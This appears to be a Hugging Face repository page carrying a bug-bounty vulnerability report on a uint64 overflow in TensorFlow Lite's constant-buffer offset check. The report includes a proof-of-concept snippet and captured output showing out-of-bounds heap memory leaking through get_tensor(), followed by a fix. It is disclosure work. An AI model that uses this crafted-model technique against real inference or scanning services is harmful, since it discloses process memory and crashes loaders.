You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

TFLite uint64 Buffer.offset/Buffer.size integer-overflow bypasses the constant-buffer bounds check -> controlled out-of-bounds heap read in tf.lite.Interpreter

Target

  • huntr format dropdown: TFLite (.tflite)
  • Affected tool / package: tensorflow (and the standalone tflite-runtime / LiteRT interpreter, which ships the same interpreter_builder.cc)
  • Version tested: tensorflow 2.21.0 (CPython 3.12, flatbuffers 25.x). The vulnerable code is long-lived on master and on the maintained 2.x line; the >2GB "large model" offset/size path that this abuses is present in all current releases that support it.
  • Component: tensorflow/lite/core/interpreter_builder.cc -- InterpreterBuilder::ParseTensors, the get_readonly_data lambda.

Severity

Medium. Memory-safety bug (CWE-190 integer overflow -> CWE-125 out-of-bounds read) reachable purely by loading an untrusted .tflite model file, with no inference inputs and no host opt-in. It yields:

  • a controlled out-of-bounds heap read where both the reach-back distance and the length are attacker-chosen (base() - size, read size bytes), with the bytes returned to the caller through the public Interpreter.get_tensor() API -> silent information disclosure of adjacent process memory; and
  • alternatively a controlled wild-pointer dereference (large forward/backward offset) -> process crash / DoS.

This is an OOB read + DoS, not a demonstrated write/RCE, so it sits below the RCE tier. Honest dollar expectation on the huntr memory-corruption scale for .tflite: up to ~$1.5k (the .tflite / pickle-family / .npy / .h5 / PMML memory-corruption tier), not the $4k RCE / .joblib-class tier. I am not over-claiming RCE.

Summary

A .tflite flatbuffer may declare a constant tensor whose backing Buffer stores its payload outside the flatbuffer via Buffer.offset / Buffer.size (the >2GB "large model" feature). When the interpreter resolves that buffer it validates the offset with a single comparison:

offset + buffer->size() > allocation_->bytes()

Both offset and size are schema ulong (uint64). The addition is performed in 64-bit with no overflow guard. By choosing offset = 2^64 - size, the sum wraps modulo 2^64 to 0, which is <= allocation_->bytes(), so the bounds check passes. The interpreter then computes the data pointer as allocation_->base() + offset, which equals base() - size -- a location before/outside the model allocation. The out-of-bounds bytes become the contents of a constant tensor and are handed back to the caller via interpreter.get_tensor(<index>).

Root cause (exact file:line)

tensorflow/lite/core/interpreter_builder.cc, inside InterpreterBuilder::ParseTensors, lambda get_readonly_data (line numbers from the v2.21.0 tree shipped in the tested wheel):

672  if (auto* buffer = (*buffers)[tensor->buffer()]) {
673    auto offset = buffer->offset();                       // uint64_t (schema ulong)
674    if (auto* array = buffer->data()) {
675      *buffer_size = array->size();
676      *buffer_data = reinterpret_cast<const char*>(array->data());
677      return kTfLiteOk;
678    } else if (offset > 1 && allocation_) {
679      if (offset + buffer->size() > allocation_->bytes()) {   // <-- uint64 ADD, no overflow check
680        TF_LITE_REPORT_ERROR(
681            error_reporter_,
682            "Constant buffer %d specified an out of range offset.\n",
683            tensor->buffer());
684        return kTfLiteError;                                  // intended rejection
685      }
686      *buffer_size = buffer->size();
687      *buffer_data =
688          reinterpret_cast<const char*>(allocation_->base()) + offset;   // <-- base() + huge offset == OOB
689      return kTfLiteOk;
690    }
691  }
  • Line 679 is the flawed guard: offset + buffer->size() overflows uint64 and wraps, so a value that should be rejected passes.
  • Lines 687-688 then form an out-of-bounds pointer (base() + offset).

The identical pattern exists for custom-op payloads in the same file, so the bug is not a one-off:

377  } else if (op->large_custom_options_offset() > 1 && allocation_) {
378    if (op->large_custom_options_offset() +
379            op->large_custom_options_size() >
380        allocation_->bytes()) {                               // <-- same uint64 ADD, no overflow check
381      ... "Custom Option Offset for opcode_index %d is out of bound" ...
385      return kTfLiteError;
386    }
388    init_data = reinterpret_cast<const char*>(allocation_->base()) +
389                op->large_custom_options_offset();            // <-- base() + huge offset

The correct check must compare against the remaining space without summing, e.g. offset > bytes() || size > bytes() - offset.

PoC

Build. Start from a benign one-constant model, then flip its inline 256-byte constant buffer to the offset/size path with offset = 2^64 - size (the wrap), re-serialize, and load it. Full script: reproduce.py (self-contained, OS-portable). The decisive assertion is:

SIZE = 256
good_offset = 1 << 40            # huge, but offset+size does NOT wrap -> must be rejected
evil_offset = (1 << 64) - SIZE   # offset+size wraps mod 2^64 to 0 -> bypasses the check

# 1) the bounds check is real:
tf.lite.Interpreter(model_content=craft(good_offset, SIZE)).allocate_tensors()   # raises

# 2) the wrap bypasses the SAME check and returns OOB memory:
it = tf.lite.Interpreter(model_content=craft(evil_offset, SIZE))
it.allocate_tensors()
leaked = np.asarray(it.get_tensor(tidx)).view(np.uint8)
assert not np.array_equal(leaked, model_own_constant)   # foreign memory, not the 7.5 constant

Captured output (mfvenv python, tensorflow 2.21.0; stderr banner noise removed):

STEP 1 -- prove the bounds check is REAL (non-wrapping huge offset).
  OK: offset=2^40 (no wrap) correctly REJECTED: Constant buffer 2 specified an out of range offset.
STEP 2 -- bypass the SAME check with a uint64 wrap, read OOB.
  offset = 2^64 - 256 = 0xffffffffffffff00, size = 256
  guard computes (offset+size) mod 2^64 = 0  -> "0 > filesize"? False  => check BYPASSED
  LOADED OK (no "out of range offset" error).
  get_tensor(1) returned 256 bytes from base-256 (OUTSIDE the model).
  returns the model own 7.5 constant? False
  first 32 OOB bytes: [10, 32, 32, 32, 32, 62, 62, 62, 32, 97, 120, 50, 32, 61, 32, 102, 105, 103, 46, 97, 100, 100, 95, 115, 117, 98, 112, 108, 111, 116, 40, 49]
  as text          : ".    >>> ax2 = fig.add_subplot(122)  # right sid"
STEP 3 -- attacker controls reach-back AND length (offset=2^64-size).
  size=256    -> ... check BYPASSED; disclosed 256 bytes from base-256
  size=1024   -> ... check BYPASSED; disclosed 256 bytes from base-1024
  size=4096   -> ... check BYPASSED; disclosed 256 bytes from base-4096
  size=65536  -> ... check BYPASSED; disclosed 256 bytes from base-65536
[RESULT] CONFIRMED: ... tf.lite.Interpreter returns attacker-relative out-of-bounds heap
         memory through get_tensor() on an untrusted .tflite file.

The leaked bytes (>>> ax2 = fig.add_subplot(122) # right sid...) are an unrelated docstring living on the heap before the model allocation -- concrete proof the read crossed the allocation boundary and disclosed foreign process memory rather than the model's own 7.5 constant. STEP 3 shows the reach-back distance is fully attacker-controlled (base-256 ... base-65536).

A second confirmation script, confirm_controlled_read.py, sweeps the disclosed length and shows the same (offset+size) mod 2^64 == 0 bypass for sizes 256 B ... 64 KiB.

Impact (threat model)

The realistic scenario huntr's model-format scope targets: a victim downloads or is sent an untrusted .tflite model (a Hugging Face / model-zoo artifact, an attachment, a CI fixture, an upload to a model-hosting / scanning service) and loads it with tf.lite.Interpreter(model_path=...) / (model_content=...) + allocate_tensors() -- the standard, documented way to run a TFLite model. No inference inputs and no special flags are required; merely parsing the model triggers the bug.

  • Information disclosure: the attacker reads attacker-chosen offsets of adjacent process memory back through get_tensor(). In a multi-tenant inference service, a model-scanning backend, or any process that loads a model and then exposes tensor contents / outputs, this can leak secrets, keys, other tenants' data, or ASLR-defeating pointers from the heap.
  • Denial of service: a forward/large offset turns base() + offset into a wild pointer; dereferencing it during tensor setup crashes the loading process. (The disk-mmap model_path= allocation tends to fault on the backward read, so the crash variant is the reliable outcome there, while the in-memory model_content= allocation gives the clean silent-disclosure primitive shown above.)

Because the disclosure is silent (load succeeds, no error, no crash), it is well-suited to exfiltration.

Honest dup / scope note

  • Distinct from the known TFLite integer-overflow CVEs. The historical TFLite overflow advisories -- CVE-2021-29605 (memory-allocation size multiplier), CVE-2022-23558 (TfLiteIntArrayGetSizeInBytes array creation), CVE-2021-29601 (concatenation), CVE-2022-23559 (embedding lookup) -- are all int32 size-computation overflows in operator/allocation code paths, exercised during graph build or inference. This finding is a uint64 overflow in the constant-buffer OFFSET validation in interpreter_builder.cc (the >2GB external-buffer "large model" feature), a different sink that those fixes do not touch. I could not find a public advisory or fix specifically for the offset + size uint64 wrap in get_readonly_data / large_custom_options_offset. Maintainer should still confirm against the internal TF security tracker before triage, since TFLite has a large CVE history and not every fix is individually indexed.
  • Scope is clean for huntr. The affected tool is TensorFlow itself and the format is .tflite, which is an explicit huntr model-format target -- this is not a picklescan/modelaudit/modelscan-scanner-only issue, and it is not an orbax/off-list format, so no scope caveat of that kind applies. (Flagging proactively per the playbook: this is in-scope as a .tflite loader memory-corruption bug.)
  • Not a malformed-random-bytes crash. The control case proves the bounds check is genuinely present and rejects an ordinary out-of-range offset; only the deliberate uint64 wrap defeats it. The primitive is controlled (chosen address + length), not an incidental fuzz crash.

Remediation

Replace the overflow-prone sum with a subtraction-based bound that cannot wrap, in both sites:

// constant buffers (line ~679)
const uint64_t bytes = allocation_->bytes();
if (offset > bytes || buffer->size() > bytes - offset) {
  // "out of range offset"
  return kTfLiteError;
}

// custom-op payloads (line ~378)
const uint64_t off = op->large_custom_options_offset();
const uint64_t sz  = op->large_custom_options_size();
if (off > bytes || sz > bytes - off) {
  // "out of bound"
  return kTfLiteError;
}

Additionally consider rejecting offset/size values that exceed the allocation up front (defence in depth), and adding a fuzz seed for Buffer.offset/Buffer.size and large_custom_options_offset/_size near 2^64.


Reproduction (reviewer quickstart)

# in an environment that already has tensorflow + flatbuffers (do not pip-install if provided)
python3 reproduce.py

Expected: STEP 1 prints "correctly REJECTED"; STEP 2 prints "check BYPASSED" and "returns the model own 7.5 constant? False" with non-model bytes; final line prints "CONFIRMED". A malicious_offset_overflow.tflite artifact is written next to the script.

Downloads last month
3
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support